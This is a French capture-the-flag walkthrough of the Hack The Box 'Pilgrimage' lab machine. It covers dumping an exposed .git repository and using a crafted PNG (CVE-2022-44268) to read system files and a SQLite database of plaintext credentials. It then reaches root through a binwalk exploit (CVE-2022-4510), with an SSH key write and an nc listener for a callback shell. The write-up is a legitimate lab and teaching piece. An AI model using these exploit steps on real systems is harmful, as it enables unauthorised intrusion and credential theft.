Pilgrimage
Résumé rapide : Pilgrimage propose un service web qui réduit des images. Le site expose un dépôt .git récupérable, contenant un binaire magick (ImageMagick) vulnérable à la lecture arbitraire de fichiers (CVE-2022-44268). En exploitant ce comportement, on peut lire des fichiers système, reconstruire la base SQLite du site et récupérer des identifiants en clair (ex. emily). En post-exploitation, un service root exécute un script (malwarescan.sh) qui appelle binwalk sur les fichiers uploadés ; la version de binwalk présente sur la machine est vulnérable (CVE-2022-4510) et permet d'obtenir RCE en root via un PNG malicieux.
Le document ci-dessous décrit l'enchaînement reproductible (recon → récupération .git → lecture ImageMagick → extraction SQLite → SSH → exploitation binwalk). J'ai conservé l'entête original en haut du fichier.
Pré-requis locaux
nmap,feroxbuster(ouffuf),git-dumper(ou équivalent),pngcrush,exiv2,xxd,sqlite3,sshpass,wget,binwalk(local pour tests),netcat.
Étapes - Reconnaissance
- Scan rapide :
nmap -p22,80 -sC -sV pilgrimage.htb
Explication : détecte SSH (22) et HTTP (80) et récupère versions/headers.
- Résolution DNS locale (si redirection) :
echo "10.10.11.219 pilgrimage.htb" | sudo tee -a /etc/hosts
Explication : permet d'accéder au site par son nom d'hôte et d'éviter les redirections gênantes.
- Bruteforce répertoires (exemple) :
feroxbuster -u http://pilgrimage.htb -x php -w /usr/share/wordlists/raft-medium-directories.txt
Explication : recherche de chemins utiles (/tmp, /shrunk, /dashboard.php, /register.php, .git selon le cas).
Récupérer le dépôt .git
- Récupération :
git-dumper http://pilgrimage.htb git
Explication : lorsque /.git/ est accessible, git-dumper télécharge l'historique et permet de reconstruire le site côté client.
- Inspection :
ls git/
file git/magick
./git/magick --version
Explication : identify le binaire embarqué magick (ImageMagick) et sa version, ce qui permet de rechercher des CVE applicables.
Exploitation ImageMagick — lecture de fichiers (CVE-2022-44268)
Principe : ajouter une chunk tEXt nommée profile dans un PNG. La version vulnérable d'ImageMagick interprète la valeur comme un chemin de profil et peut charger/renvoyer le contenu demandé.
- Générer PNG malicieux (ex : lire
/etc/hosts) :
pngcrush -text a "profile" "/etc/hosts" poc.png
Explication : pngcrush ajoute une entrée tEXt nommée profile pointant vers le fichier à lire.
- Soumettre l'image via l'interface (Upload → Shrink). Récupérer l'URL retournée et télécharger l'image traitée :
wget http://pilgrimage.htb/shrunk/XXXXXX.png -O out.png
Explication : l'application retourne une image convertie ; la chunk profile contient l'hex du fichier demandé.
- Extraire la section profile et convertir en binaire :
identify -verbose out.png | grep -P "Raw profile type|profile" -A 5
# Exemple de commande pour extraire l'hex et reconstruire
identify -verbose out.png | grep -Po "[0-9a-f]{2,}" | tr -d '\n' | xxd -r -p > recovered.bin
file recovered.bin
Explication : identify montre la donnée hex stockée ; on la reconvertit en binaire pour récupérer le fichier original.
- Si la sortie est une DB SQLite :
sqlite3 recovered.bin
sqlite> .tables
sqlite> select * from users;
Explication : la base peut contenir des comptes et mots de passe en clair (ex. emily|abigchonkyboi123).
Accès utilisateur (foothold)
sshpass -p 'abigchonkyboi123' ssh [email protected]
cat /home/emily/user.txt
Explication : utilise les identifiants récupérés pour obtenir une session SSH et récupérer user.txt.
Escalade de privilèges — analyse et exploitation
Observations : en root tourne un script malwarescan.sh qui surveille /var/www/pilgrimage.htb/shrunk/ avec inotifywait puis lance /usr/local/bin/binwalk -e sur chaque nouveau fichier.
ps aux | grep malwarescan.sh
cat /usr/sbin/malwarescan.sh
Explication : le script lance binwalk en tant que root, ce qui donne une surface d'attaque si binwalk est vulnérable.
Vulnérabilité ciblée : binwalk v2.3.2 (CVE-2022-4510) — un exploit permet d'écrire des fichiers arbitraires via les artefacts extraits et d'exécuter du code.
- Générer le PNG d'exploitation
binwalk_exploit.png(outil public / PoC) :
# exemple : utiliser script walkingpath ou exploit du dépôt 51249 (searchsploit)
python3 walkingpath.py ssh root.png ~/keys/ed25519_gen.pub
Explication : l'exploit génère un PNG qui, une fois analysé par binwalk -e, produit un plugin/artifact permettant d'écrire une clé publique dans root ou d'obtenir un shell.
- Transférer le PNG vers le répertoire observé par le script :
sshpass -p 'abigchonkyboi123' scp binwalk_exploit.png [email protected]:/var/www/pilgrimage.htb/shrunk/
Explication : le fichier upload déclenchera inotifywait puis binwalk côté root.
- Écouter le callback (listener) :
nc -lvnp 9001
Explication : si l'exploit fonctionne, binwalk exécutera la charge utile et on obtient un shell root.
- Vérifier
root.txt:
ssh -i ~/keys/ed25519_gen [email protected]
cat /root/root.txt
Commandes utiles (récapitulatif rapide)
nmap -p22,80 -sC -sV pilgrimage.htb: scan initial.git-dumper http://pilgrimage.htb git: récupérer le dépôt.gitaccessible.pngcrush -text a "profile" "/etc/hosts" poc.png: construire PNG pour CVE-44268.identify -verbose out.png/exiv2 -pS out.png: inspecter metadata et chunkprofile.xxd -r -p/tr -d '\n' | xxd -r -p: convertir hex → binaire.sqlite3 pilgrimage.sqlite: ouvrir la DB extraite.sshpass -p '<pass>' ssh user@host: connexion SSH non interactive pour tests.python3 walkingpath.py ...ou PoC51249: générer PNG pour l'exploit binwalk.
Remarques et bonnes pratiques
- Conserver une copie locale du
.gitrécupéré pour analyser versions et binaires embarqués. - Toujours tester les PoC localement sur un environnement contrôlé avant upload.
- Faire attention aux fichiers binaires retournés par ImageMagick (décodage hex strict nécessaire).
- Ne pas déposer de données sensibles sur des hôtes publics lors des tests.